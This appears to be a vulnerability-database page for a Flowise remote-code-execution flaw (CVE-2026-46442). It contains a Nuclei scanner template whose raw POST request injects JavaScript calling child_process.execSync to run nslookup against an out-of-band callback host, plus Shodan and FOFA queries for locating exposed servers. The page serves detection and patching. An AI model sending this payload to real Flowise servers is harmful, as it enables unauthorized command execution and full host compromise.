| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for Code Injection in Flowiseai Flowise | 17 Jul 202620:52 | – | githubexploit | |
| CVE-2026-46442 | 8 Jun 202615:30 | – | attackerkb | |
| CVE-2026-46442 | 14 May 202614:13 | – | circl | |
| Flowise 代码注入漏洞 | 8 Jun 202600:00 | – | cnnvd | |
| CVE-2026-46442 | 8 Jun 202615:30 | – | cve | |
| CVE-2026-46442 Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape | 8 Jun 202615:30 | – | cvelist | |
| EUVD-2026-35110 | 8 Jun 202615:30 | – | euvd | |
| FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape | 14 May 202614:57 | – | github | |
| CVE-2026-46442 | 8 Jun 202616:16 | – | nvd | |
| CVE-2026-46442 Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape | 8 Jun 202615:30 | – | osv |
id: CVE-2026-46442
info:
name: Flowise < 3.1.2 - node-custom-function Unauthorized RCE
author: DhiyaneshDk,princechaddha
severity: critical
description: |
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.
impact: |
Authenticated attackers can execute arbitrary system commands on the Flowise server, leading to full server compromise.
remediation: |
Update to version 3.1.2 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-46442
- https://github.com/FlowiseAI/Flowise
- https://github.com/FlowiseAI/Flowise/security/advisories
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-46442
cwe-id: CWE-78
epss-score: 0.0082
cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
metadata:
verified: false
max-request: 2
vendor: flowiseai
product: flowise
shodan-query: http.title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2026,flowise,cmdi,rce,oob,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: body
words:
- "Flowise"
internal: true
- raw:
- |
POST /api/v1/node-custom-function HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"functionBody":"require('child_process').execSync('nslookup {{interactsh-url}}');return '';","nodeData":{"inputs":{}}}
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
# digest: 4a0a00473045022100b26375631f0b712e37e175d16fb7f623c419c6348fea256340defef0fdeb9a0c022061042caf54869088f159dadea0ff1df7df236682b7e7aa8c58a72f0d77f8e78c:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation